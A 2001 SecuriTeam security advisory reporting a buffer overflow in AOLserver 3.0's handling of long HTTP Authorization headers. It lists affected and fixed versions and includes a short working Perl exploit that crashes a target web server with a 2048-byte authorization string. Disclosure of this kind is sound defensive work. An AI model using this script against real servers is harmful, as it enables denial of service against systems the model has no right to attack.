[NEWS] AOLserver Authorization Buffer Overflow

From: support@securiteam.com
Date: 09/10/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [NEWS] AOLserver Authorization Buffer Overflow
Message-Id: <20010910054645.63059138C0@mail.der-keiler.de>
Date: Mon, 10 Sep 2001 07:46:45 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  AOLserver Authorization Buffer Overflow
------------------------------------------------------------------------

SUMMARY

AOLserver will crash when it is given a long authorization string. It is
also possible this vulnerability will allow an attacker to execute
arbitrary code through a buffer overflow.

DETAILS

Vulnerable systems:
AOLserver version 3.0

Immune systems:
AOLserver version 3.4
AOLserver version 3.3.1

Exploit:
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr => $host,
                                 PeerPort => "http(80)",
                                 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;

ADDITIONAL INFORMATION

The information has been provided by <mailto:nate@securitylogics.com>
Nate Haggard.

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DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • AOLserver 3.0 vulnerability
    ... Aolserver 3.0 will crash when it is given a long authorization string. ... is also possible this vulnerability will allow a hacker to execute ... arbitrary code through a buffer overflow. ... print $remote $killme; ...
    (Bugtraq)
  • AOLserver 3.0 vulnerability
    ... Aolserver 3.0 will crash when it is given a long authorization string. ... is also possible this vulnerability will allow a hacker to execute ... arbitrary code through a buffer overflow. ...
    (Bugtraq)
  • [NT] AOLserver Unauthorized File Disclosure Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... AOLserver is the backbone of the largest and busiest production ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)